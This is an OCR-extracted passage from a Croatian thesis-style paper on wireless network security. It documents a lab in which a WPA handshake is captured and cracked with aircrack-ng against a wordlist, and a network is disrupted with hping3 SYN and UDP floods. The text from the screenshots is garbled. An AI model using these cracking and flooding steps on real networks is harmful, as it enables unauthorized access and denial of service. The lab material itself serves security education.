handshake', koji se koristi u WPA/WPA2 protokolima za autentifikaciju uredaja na mrezi. Ovaj
'handshake’ sadrzi informacije koje omogucavaju analizu i potencijalno probijanje lozinke
mreze. Kada se izvrsi uspeSan 4-way 'handshake' izmedu uredaja i Access Point-a, razmenjuju

se EAPOL paketi.

HvatanjeMob-03.cop

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA© c BE@ 2« >0 «>BE

Source inati Protocol Length Info
HuaweiDevice 59:b1:f8 ba ERESHEER EAPOL 133 Key (Message 1 of 4)
Hua C f8 EAPOL i 4)
EAPOL
EAPOL
EAPOL
EAPOL

1
1.
1
1
1
EAPOL 1

Slika 7.8. Prikaz paketa unutar 'wireshark-a'

5. Probijanje lozinke s 'aircrack-ng'

Koristimo 'aircrack-ng' alat i datoteku s prikupljenim paketima kako bismo probili lozinku,

Cesto koriste¢i 'dictionary attack' (napad s rije¢nikom).
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File Actions Edit View Help

faulting to '/tmp/runtime-root’

HvatanjeMob-03.cap /home/kali/lozinke.txt

Reading packets, please wait...
Opening HvatanjeMob-03.cap
Read 11836 packets.

# BSSID ESSID Encryption

1 ©04:D3:B5:59:B1:F8 LEKO WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening HvatanjeMob-03.cap
Read 11836 packets.

1 potential targets

Aircrack-ng 1.7
[00:00:00] 4/13 keys tested (243.95 k/s)
Time left: @ seconds

KEY FOUND! [ ivicaiena ]

Master Key

Transient Key

EAPOL HMAC

Slika 7.9. Probijanje lozinke koristeci 'aircrack' alat

~[lozinke.txt - Mousepad

File Edit Search View Document Help
+ R C x

macodmob.txt lozinke.txt

1 janje

2 ivicaiena

3 antematejure
4 mate

5 danasjesunce
6 diplomskirad
7 nekitext

8 testzasifru
9 kakosi

10 123456

11 lozinka123
12 blablabla

13 kokolo
14 |

Slika 7.10. Primjer navedenih lozinki od kojih je jedna to¢na



Alat je uspjesno pronasao koja je od navedenih lozinki unutar tekstualne datoteke to¢no lozinka

mreze na koju je spojen bio uredaj.

5.2 DOS napad

Simulacija DoS (Denial of Service) napada na Kali Linuxu moZze se izvesti pomocu razli¢itih
alata, ukljucujuci hping3, koji je jedan od popularnijih alata za ovakve aktivnosti. Imaj na umu
da izvodenje DoS napada bez eksplicitnog dopustenja na tude mreze ili sisteme moze biti

ilegalno i protivno zakonima o cyber sigurnosti.

1. Instalacija alata 'hping3'
Ako 'hping3' nije instaliran , moZze$ ga instalirati jednostavnom komandom :
sudo apt-get install hping3

.

root @kali: ~

File Actions Edit View Help

~

install hping3

1 Done
Done
Done

fersi

jove' to remove them.
installed, @ to remove and 1 not upgraded.

Slika 7.11. Instalacija 'hping3' alata

2. lIzvrSavanje DoS napada pomocu 'hping3'
Jedan od naj¢es¢ih oblika DoS napada je slanje ogromnog broja ICMP (Ping) paketa, TCP SYN
paketa ili UDP paketa ciljnom sistemu. To moZe preopteretiti mrezne resurse cilja, Sto moze

dovesti do toga da sistem postane nefunkcionalan.

TCN SYN Flood Napad

"TCP SYN flood' napad pokuSava preplaviti mrezni resurs laznim zahtjevima za uspostavljanje

veze. Mozes koristiti hping3 za ovakav napad:
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Slika 7.12. Aktivacija SYN flood napada

-'s": Postavlja TCP SYN flag
'-flood": Salje pakete §to je brze moguce bez Eekanja odogovora
'-v': Omogucava verbosni nacin rada

"-p ": Ciljni port i nakon njega ip adresa koju napadamo

Na sljede¢im slikama je prikazano opterecenje mreze pod SYN napadom:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAO s BRBRB@ a « »n «>WE

Interface phyll.mon ~  Channel 1-2.412GHz ~ 802.11 Preferences

0. Time Source i Protocol Length Info

Slika 7.13. Prikaz poslanih paketa unutar 'wireshark-a'
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thi  Upravitelj zadataka

= Performanse P8 Pokreni novi zadatak
P Postupd
CcPU _E:
}UL 0% 206 GHa Wi-Fi Realtek RTL8822BE 802.11ac PCle Adapter
| Performanse At protok 5 Mbps
. o Memorija
D Povijest aplikacije 39/5.9 GB (66%)
3.6 Mbps
‘¥ Polazne aplikacije Disk 0 (C)
SsD
& Korisnici L 0%
= Pojedinosti Ethernet
Ethernet 2
4 S0P 0kB/s
&3 Servisi
— Wi-Fi
Wi-Fi
A S0P 0kBfs o
60 sekundi 0
SI\IZELJJROd MV : Slanje Naziv prilagodnika:  Wi-Fi
aaeon H
L., 5%66°0 : 0 kB/s sl LEKO
o Vrsta veze: 802.11n
Primanje 1Pv4 adresa: 192.168.8.145
0 kB/s IPu6 adresa: 1d04:d3b5:39b1:7700:ceb3:ad9c:3b55:808a
% Postavke Jacina signala: cmﬂ

Slika 7.14. Opterecenje mreZe tijekom napada

UDP Flood Napad

UDP Flood napad je vrsta DoS napada u kojem napadac Salje veliki broj UDP paketa ciljanom
serveru ili mrezi. Cilj je preopteretiti resurse servera, Sto moze dovesti do usporavanja ili
potpune nedostupnosti usluga. UDP protokol ne koristi mehanizam potvrde prijema, S$to
omogucava napadacu da lako generira ogroman broj paketa. Ovi napadi se Cesto koriste za
ometanje mreznih servisa poput DNS-a ili VoIP aplikacija

Pokretanje napada prikazano je na sljedecoj slici :

dr o 8.145
HPING 1 .8.145 (wland 1 udp mode set, 2i
hping in flood mode, no replie 11 be shown

.145 hping statistic
i d, @

Slika 7.15. Pokretanje UDP flood napada

Nakon ovog napada mreza je bila neiskoristiva tj. nijedna Web stranica se nije mogla ucitati .
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Capturing from wlan0

le Edit View Go Capture Analyze Statistics Telephony Wireless Tools

AOAd® c BRAE 2 « »n <« »>»EHE oo o[H

Help

n :)-H.

Interface phyll.mon =  Channel 1-2412GHz ~ 802.11 Preferences

No. Time Source Destination Protocol Length Info

. 734980971 .8. .8. 42 40970 86
1752.. 264.734991895 192.168.8.105 192.168.8.145 upp 42 40971 — 80 Len=@
1752.. 264.735001775 192.168.8.105 192.168.8.145 upp 42 40972 . 80 Len=0@
1752.. 264.735010285 192.168.8.105 192.168.8.145 upp 42 40973 . 80 Len=0
1752.. 264.735019155 192.168.8.105 192.168.8.145 uop 42 40974 — 80 Len=@
1752.. 264.735028642 192.168.8.105 192.168.8.145 upp 42 40975 -~ 80 Len=0
1752.. 264.735037654 192.168.8.105 192.168.8.145 upp 42 40976 — 80 Len=0
1752.. 264.735046697 192.168.8.105 192.168.8.145 upp 42 40977 — 80 Len=0
1752.. 264.735056379 192.168.8.105 192.168.8.145 upp 42 40978 - 80 Len=0@
1752.. 264.735065239 192.168.8.105 192.168.8.145 upp 42 40979 — 80 Len=0@
1752.. 264.735074034 192.168.8.105 192.168.8.145 upp 42 40980 - 80 Len=@
1752.. 264.735082458 192.168.8.105 192.168.8.145 upp 42 40981 . 80 Len=0@
1752.. 264.735091615 192.168.8.105 192.168.8.145 uop 42 40982 — 80 Len=0©
1752.. 264.735100672 192.168.8.105 192.168.8.145 upp 42 40983 ~ 80 Len=0
1752.. 264.735110655 192.168.8.105 192.168.8.145 upp 42 40984 - 80 Len=0
1752.. 264.735118347 192.168.8.1605 192.168.8.145 upp 42 40985 - 80 Len=0
1752.. 264.735126439 192.168.8.105 192.168.8.145 upp 42 40986 — 80 Len=0
1752.. 264.735137365 192.168.8.105 192.168.8.145 upp 42 40987 — 80 Len=0@
1752.. 264.735146773 192.168.8.105 192.168.8.145 upp 42 40988 — 80 Len=@
1752.. 264.735156103 192.168.8.105 192.168.8.145 upp 42 40989 - 80 Len=@
1752.. 264.735164756 192.168.8.105 192.168.8.145 upp 42 40990 - 80 Len=0@
1752.. 264.735174138 192.168.8.105 192.168.8.145 uop 42 40991 — 80 Len=©
1752.. 264.735182280 192.168.8.105 192.168.8.145 upp 42 40992 - 80 Len=0
1752.. 264.735191260 192.168.8.105 192.168.8.145 UubpP 42 40983 — 80 Len=0

Slika 7.16. Prikaz UDP paketa unutar 'wireshark-a'

Upravitelj zadataka

= Performanse Fa Pokreni novi zadatak .e-
B Postupci
CcPU H H
T Wi-Fi Realtek RTL8822BE 802.11ac PCle Adapter
Performanse so b Al Protok 1 Mbys
. o Memarija
O] Povijest aplikacije 3,9/5.9 GB (66%) doo kes
am ikacii
& Polazne aplikacije Disk 0 (C3)
SsD
&3 Korisnici 0%
i= Pojedinosti Ethernet
Ethernet 2
- S: 0 P: 0 kB/s
Servisi
—— Wi-Fi
Wi-F
S: 0 P: 0 kB/s
60 sekundi o
S;LDJRGG v ! Slanje Naziv prilagodnika:  Wi-Fi
adeon: . H
b | 2% 6T e i 0 kB/s SsID: LEKO
b oH ¢ ) P Vrsta veze: 802.11n
Primanje IPv4 adresa: 192.168.8.145
0 kB/s 1PV6 adresa fd04:d3b5:59b1:F700:ceb3:ad9c:8b55:808a

£33 Postavke

Jatina signala:

Slika 7.17. Opterecenje mreZe tijekom UDP flood napda
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8. ZAKLJUCAK

Bezicne mreze su izuzetno vazan segment modernih komunikacija, nudeci prakticnost i Sirok
raspon primjena u svakodnevnom zivotu. Njihova prilagodljivost i u¢inkovitost omogucuju
jednostavno skaliranje i prilagodavanje razli¢itim korisnickim potrebama, ¢ime se znacajno
povecava produktivnost i mobilnost. Medutim, sigurnost bezi¢nih mreza ostaje izazov zbog
inherentnih rizika koji proizlaze iz otvorene prirode prijenosa podataka. Razli¢iti standardi
bezi¢nih mreza, kao Sto su WPA3 i druge napredne metode enkripcije, postavljaju Cvrste
temelje za osiguranje mreznih resursa i zaStitu podataka. Arhitektura bezi¢nih mreza, u
kombinaciji s odgovaraju¢im sigurnosnim mjerama, pruza mogucénost za balansiranje izmedu
performansi i sigurnosti. Usprkos napretku u sigurnosnim protokolima, beziéne mreze su i dalje
ranjive na napade poput neovlaStenog pristupa, presretanja podataka i DoS napada. Stoga je
kljuéno stalno nadogradivati sigurnosne prakse i alate kako bi se sprijecili potencijalni
sigurnosni incidenti. Istrazivanje provedeno u ovom radu pokazalo je da je edukacija korisnika

o sigurnosnim prijetnjama jednako vazna kao i tehnicke mjere zastite.

U konacnici, sigurnost bezi¢nih mreZa mora ostati prioritet kako bi se omogucilo sigurno i
pouzdano koriStenje ovih tehnologija u buduénosti. Pored tehnickih mjera, vazno je
implementirati i redovite sigurnosne audite i monitoring sustave kako bi se brzo otkrile i
neutralizirale potencijalne prijetnje. Unato¢ snaZznim protokolima poput WPA3, slabosti u
konfiguraciji mreza 1 nemarni korisnicki postupci ¢esto otvaraju prostor za napade. Stoga je
neophodno da sigurnosne politike budu jasno definirane i redovito azurirane kako bi odgovarale
najnovijim prijetnjama. Takoder, rastu¢a upotreba [oT uredaja stvara nove izazove jer se mnogi
od tih uredaja oslanjaju na bezi¢ne mreze, ali dolaze s ograni¢enim sigurnosnim mogucénostima.
Zaklju¢no, sveobuhvatan pristup sigurnosti bezi¢énih mreza, ukljuCujuéi tehnicke,
organizacijske i edukativne mjere, klju€an je za osiguranje njihove dugorocne otpornosti i

pouzdanosti u svakodnevnoj upotrebi.
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